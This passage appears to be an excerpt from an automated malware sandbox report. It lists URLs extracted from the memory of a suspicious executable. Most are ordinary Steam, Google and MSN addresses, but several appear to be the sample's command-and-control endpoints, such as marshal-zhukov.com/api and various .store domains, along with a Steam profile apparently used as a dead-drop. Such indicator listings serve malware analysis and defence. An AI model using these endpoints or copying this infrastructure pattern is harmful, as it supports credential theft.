Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=oaWa21XUbd8h&am
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000885000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.stp
Source: chromecache_487.3.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2458742707.00000000236C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2458742707.00000000236C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 5912d4444a.exe, 0000001F.00000003.2938277833.0000000000855000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212860497.0000000001175000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000002.3299740608.0000000001175000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json.8.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_487.3.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.8.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2280620657.000000002366D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195884896.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2816661923.000000000557C000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827345381.00000000055A6000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949339937.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949565383.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949231707.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3248389050.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2280620657.000000002366D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195884896.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2816661923.000000000557C000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827345381.00000000055A6000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949339937.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949565383.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949231707.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3248389050.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2280620657.000000002366D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195884896.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2816661923.000000000557C000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827345381.00000000055A6000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949339937.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949565383.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949231707.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3248389050.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 5912d4444a.exe, 0000001F.00000003.2938277833.0000000000855000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/apibcryptPrimitives.dllL
Source: 5912d4444a.exe, 00000022.00000003.3212860497.0000000001175000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000002.3299740608.0000000001175000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://founpiuer.store:443/apii/
Source: 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: file.exe, 00000000.00000002.2458742707.00000000236C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 5912d4444a.exe, 00000022.00000002.3299740608.0000000001166000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000002.3299740608.00000000011A7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.000000000120D000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212860497.00000000011AC000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/
Source: 5912d4444a.exe, 00000022.00000003.3212860497.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/:
Source: 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/?
Source: 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212860497.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/B
Source: 5912d4444a.exe, 00000019.00000003.2805400479.00000000008E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/H
Source: 5912d4444a.exe, 0000001F.00000002.3289202367.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/O7
Source: 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3247102071.0000000001204000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212860497.00000000011AC000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000002.3299740608.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api
Source: 5912d4444a.exe, 00000019.00000003.2843454821.000000000092E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api5
Source: 5912d4444a.exe, 00000022.00000002.3299740608.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apie
Source: 5912d4444a.exe, 00000019.00000003.2843454821.000000000092E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apii
Source: 5912d4444a.exe, 00000022.00000002.3299740608.00000000011A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apis
Source: 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apisN
Source: 5912d4444a.exe, 00000019.00000003.2867924902.0000000005541000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api~r
Source: 5912d4444a.exe, 00000022.00000002.3299740608.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/f
Source: 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/g
Source: 5912d4444a.exe, 00000019.00000003.2909009479.00000000008B5000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938277833.0000000000855000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000855000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000002.3299740608.0000000001175000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/api
Source: 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/apiiles/76561199724331900
Source: 5912d4444a.exe, 00000022.00000003.3212860497.0000000001175000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000002.3299740608.0000000001175000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/apim
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: 5912d4444a.exe, 00000019.00000003.2832155231.000000000557C000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2833502015.0000000005566000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2833862460.0000000005568000.00000004.00000800.00020000.00000000.sdmp, Cookies.9.dr	String found in binary or memory: https://msn.comXID/
Source: 5912d4444a.exe, 00000019.00000003.2832155231.000000000557C000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2833502015.0000000005566000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2833862460.0000000005568000.00000004.00000800.00020000.00000000.sdmp, Cookies.9.dr	String found in binary or memory: https://msn.comXIDv10
Source: 5912d4444a.exe, 0000001F.00000003.2938277833.0000000000855000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store:443/api
Source: 5912d4444a.exe, 0000001F.00000003.2938277833.0000000000855000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: 5912d4444a.exe, 00000022.00000003.3212860497.0000000001175000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000002.3299740608.0000000001175000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apie
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log0.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log10.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log10.8.dr	String found in binary or memory: https://ntp.msn.com/0
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log10.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log10.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: chromecache_487.3.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_487.3.dr	String found in binary or memory: https://plus.googleapis.com
Source: 5912d4444a.exe, 00000022.00000003.3212860497.0000000001175000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/apiL
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212860497.000000000118C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 5912d4444a.exe, 00000019.00000003.2805655232.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.000000000120D000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 5912d4444a.exe, 00000019.00000003.2805548948.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805655232.000000000089E000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.000000000086C000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.000000000086C000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212860497.000000000118C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 5912d4444a.exe, 00000019.00000003.2805655232.000000000089E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900#
